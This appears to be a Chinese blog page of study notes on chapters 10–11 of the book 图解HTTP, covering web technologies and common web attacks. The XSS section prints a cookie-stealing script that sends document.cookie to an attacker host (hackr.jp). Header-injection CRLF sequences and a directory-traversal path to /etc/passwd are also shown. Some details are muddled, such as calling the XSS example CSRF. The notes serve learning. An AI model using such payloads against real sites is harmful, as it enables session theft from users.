《图解Http》 10,11章:构建Web的技术, Web的攻击技术
10.2动态HTML
通过调用客户端脚本语言js,实现对web页面的动态改造。利用DOM文档对象模型,指定想发生变化的元素。
10.22 更容易控制的DOM
使用DOM可以将HTML内的元素当作对象操作。
10.3 Web应用
10.31通过Web提供功能的Web应用。

10.32 与web服务器协作的CGI
Common Gateway Interface 通用网关接口:指服务器收到客户端发过来的请求后,转发给程序的一组机制。

10.4 数据发布的格式,语言
10.41 XML (extensible Markup Language)可扩展标记语言
对数据的记录方式做了特别的处理,更适合记录数据结构。
从XML文档中读取数据比HTML更简单。
由于XML的结构基本上是用标签分割的树形结构,因此通过语法分析器的解析功能解析XML结构并取出数据元素,可更容易地对数据进行读取。
10.43 JavaScript 衍生的轻量级JSON
JavaScript Object Notation。
以JS的对象表示法为基础的轻量级数据标记语言。
11 攻击技术
11.12 在客户端即可篡改请求
在请求报文内加载攻击代码:
通过URL查询字段或表单, HTTP header, Cookie等途径把攻击代码传入,如果存在安全漏洞,内部信息就会遭到窃取,或被攻击者拿到管理权。
11.13 对Web应用的攻击模式
- 主动攻击: 针对服务器上的资源进行攻击。SQL注入攻击, OS命令注入攻击。
- 被动攻击:利用圈套周恩来执行攻击代码。 Xss跨站脚本攻击。跨站请求伪造。
- 诱使用户触发设置好的陷阱,陷阱会启动发送已经嵌入的攻击代码的HTTP请求。
- 中招后,浏览器或邮件客户端会触发这个陷阱。
- 中招的浏览器把带攻击代码的请求发送给作为攻击目标的web应用,并运行攻击代码。
- 执行完攻击代码后,存在安全漏洞的web应用会成为攻击者的跳板,导致用户的Cookie等信息被窃取,登陆状态中的用户权限遭到恶意滥用等。

11.2 因输出值转意不完全引发的安全漏洞
客户端的验证:
主要采取javascript进行简单的验证,辅助性验证,用于提高用户交互行为的体验。因为js可以被用户关闭,所以不能起到安全防护作用。
web服务器端的验证:
- 输入值验证: 可能会输入攻击代码,因此需要检查是否符合业务逻辑(字符编码,数值)
- 输出值转意:对输出值进行转意处理是重要的安全策略。
11.21 跨站脚本攻击
攻击者利用预先设置的陷阱触发被动攻击,具体可见之前的博客(全栈案例)
通过加上<script>执行javascript动作,或者塞入其他标签。
例子:对Cookie的偷取:
<script src='http://hackr.jp/xss.js'></script>
这行代码的作用:把js文件内的代码加载到使用的页面中。src属性指定了一个额外的script文件的URL.
js文件内容:
var content = encodeURI(document.cookie);
document.write("<img src='http://hackr.jp/? '");
document.write(content);
document.write(">");
上面第一行得到cookie信息,然后后3行组成一个<img src='xxx'>,
黑客可以通过添加评论的方法把这段脚本传到当前网页上,因为并没有真实的图片,所以出现一个破碎的图片图标。
当用户访问这个带漏洞的网页时,会执行脚本,<img>标签的src是一个带当前Cookie信息的请求,会转到攻击者的网站。攻击者网站的日志会记录下这个Cookie。
总结:
这是一个跨站伪造请求攻击Cross-site request forgery,xss的变种。
CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
11.22 SQL Injection攻击
Web应用通常会用到数据库,比如对数据进行检索操作。
精通sql语法的黑客利用这点,在检索框内增加导致删除或某些目的性的sql半截语句,点击确认按钮后,
会和内置的SQL语法组合起来形成破坏性的SQL语法。
注意: 一般会利用 -- 标记,这代表后面的代码全部为注释。

在Rails中,使用where子句,可以用特殊的写法避免。
例子: BookTbI.where("author = ?", "xxx"), 这样数据库会知道, 上野宣' -- 中的'分号只是普通的代码,并不起到分号本身的作用。
11.23 OS命令注入攻击
通过web应用,执行非法的操作系统命令达到攻击目的。
在可以调用Shell函数的地方就有风险。
11.24 HTTP 首部注入攻击 HTTP Header Injection
通过在响应的首部字段内插入换行,添加任意响应首部或主体的一种攻击。(被动攻击)
- 设置任何Cookie信息
- 重定向到任何URL
- 显示任意的主体: HTTP 响应截断攻击 HTTP Response Splitting Attack
例子:首部注入攻击

%0D%0A 这个是换行符号。
所以强制增加Set-Cookie首部。
设置了Cookie后,攻击者可以伪装用户。
这是首部注入攻击,插入任意的首部字段。
HTTP响应截断攻击
首部注入攻击的一种,攻击顺序一样,但是要将两个 %0D%0A%%0D%0A 插入字符串后发送。
利用两个连续的换行作出HTTP首部和主体分隔所需要的空行,这样就能伪造主体,达到攻击目的。

⚠️, <! -- 这个是注释。
11.25邮件首部注入攻击
11.26 Directory Traversal 目录遍历攻击
通过非法截断其目录路径后,达成访问的一种攻击。
使用.../ 等相对路径定位到/etc/passed/等绝对路径上,导致服务器上的文件被访问到。
然后黑客就随便浏览,篡改,删除服务器上的内容拉,啊哈哈哈。
应该关闭指定对任意文件名的访问权限。

11.4 Session 的安全漏洞
11.41 Session hijack 会话劫持
- 通过非正规的生成方法推测会话
《图解Http》 10,11章:构建Web的技术, Web的攻击技术的更多相关文章
- 高性能Linux服务器 第11章 构建高可用的LVS负载均衡集群
高性能Linux服务器 第11章 构建高可用的LVS负载均衡集群 libnet软件包<-依赖-heartbeat(包含ldirectord插件(需要perl-MailTools的rpm包)) l ...
- 第11章 拾遗5:IPv6和IPv4共存技术(1)_双栈技术和6to4隧道技术
6. IPv6和IPv4共存技术 6.1 双栈技术 (1)双协议主机的协议结构 (2)双协议栈示意图 ①双协议主机在通信时首先通过支持双协议的DNS服务器查询与目的主机名对应的IP地址. ②再根据指定 ...
- 第11章 拾遗5:IPv6和IPv4共存技术(3)_NAT-PT技术【全书完】
6.4 NAT-PT (1)NAT-PT和NAT的差别 ①NAT-PT(附带协议转换的网络地址转换)技术秉承NAT技术的思想,但在原理方面大有不同. ②NAT-PT和NAT本质的区别在于应用场合的不同 ...
- 第11章 拾遗5:IPv6和IPv4共存技术(2)_ISATAP隧道技术
6.3 ISATAP隧道技术 (1)基本概念 ①在一个IPv4网络中主机与路由器之间创建一条ISATAP隧道,以便让该主机可以访问IPv6网络中的资源. ②条件:IPv4中的PC主机需要支持IPv4和 ...
- 【转】一种新型的Web缓存欺骗攻击技术
为了减少WEB响应时延并减小WEB服务器负担,现在WEB缓存技术已经用的非常普遍了,除了专门的CDN,负载均衡以及反向代理现在也会缓存一部分的网页内容.这里我要介绍一种WEB缓存欺骗攻击技术,这种攻击 ...
- 基于http的追加协议、构建web内容的技术、web的攻击技术(9,10,11)
第九章 基于http的追加协议 用来提升http的瓶颈,比如Ajax技术,spdy等 第十章 构建web内容的技术 html.css.js等 第十一章 web的攻击技术 比如sql注入攻击.xss等.
- 《图解HTTP》 第11章 web的攻击技术
11.1 针对Web的攻击技术 简单的HTTP协议本身并不存在安全性问题,所以协议本身几乎不会成为攻击的对象. 11.1.1 HTTP不具备必要的安全功能 11.1.2 在客户端即可篡改请求 在HTT ...
- Rspec: everyday-rspec实操: 第10章测试其他功能,第11章TDD 第12章总结。
10.测试文件上传 作者推荐的Paperclip,官方维护组已经不推荐使用deprecated. 推荐使用rails自带的 ActiveStorage. Active Storage: 推进文件上传到 ...
- 《图解HTTP》阅读笔记--第十一章针对web的攻击技术
第十一章.针对WEB的攻击技术 ----<图解HTTP>阅读笔记攻击目标---Web简单的HTTP协议本身并不存在安全性 问题,协议本身并不会成为被攻击的对象,应用HTTP的服务器和客户端 ...
随机推荐
- 20154312 曾林 Exp5_MSF基础应用
--目录-- MSF渗透测试-CVE-2017-11882 1.基础内容回答 2.实践过程记录 2.1.主动攻击实践-ms08_067 2.2.针对浏览器的攻击-ms10_046 2.3.针对客户端的 ...
- 20155305乔磊2016-2017-2《Java程序设计》第五周学习总结
20155305乔磊2016-2017-2<Java程序设计>第五周学习总结 教材学习内容总结 try.catch 1.求平均数程序示例 import java.util.Scanner; ...
- linux常用命令:chgrp 命令
在 lunix系统里,文件或目录的权限的掌控以拥有者及所诉群组来管理.可以使用chgrp指令变更文件与目录所属群组,这种方式采用群组名称或群组识别 码都可以.chgrp命令就是change group ...
- Linux基础命令---dump
dump 检查ext2/3/4文件系统,确定哪些文件需要备份,这些需要备份的文件将会被复制到指定的磁盘或者其他存储介质.dump检查Ext 2/3/4文件系统上的文件,并确定哪些文件需要备份.这些文件 ...
- 虚拟机中安装mac系统
虚拟机安装就很简单了,傻瓜式安装,一直点击下一步就行,这里就不多说了. 所需要的配置: 虚拟机下载地址:链接:http://pan.baidu.com/s/1i45wXRf 密码:7c4x mac补丁 ...
- MySQL数据库----触发器
触发器-trigger 触发器:监视某种情况,并触发某种操作. 使用触发器可以定制用户对表进行[增.删.改]操作时前后的行为,注意:没有查询 -- 触发器:某种程序触发了工具的运行 -- 触发器不能主 ...
- Android LCD(二):LCD常用接口原理篇(转)
源: Android LCD(二):LCD常用接口原理篇
- 20145225 《网络对抗》逆向及Bof基础实践
实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShe ...
- 20145313张雪纯Exp8 Web基础
回答问题 (1)什么是表单 表单在网页中主要负责数据采集功能.一个表单有三个基本组成部分: 表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法. 表单域:包含了文本框. ...
- [c/c++]指针(2)
首先呢,讲讲数组 数组就是一连串的地址对不对?所以它们的地址是紧挨着的 1 | 2 | 3 | 4 | 2 | 0 1 2 3 4 那我们把一个数组的首地址赋给一个指针变量 ] = {, , , , ...
- 高性能Linux服务器 第11章 构建高可用的LVS负载均衡集群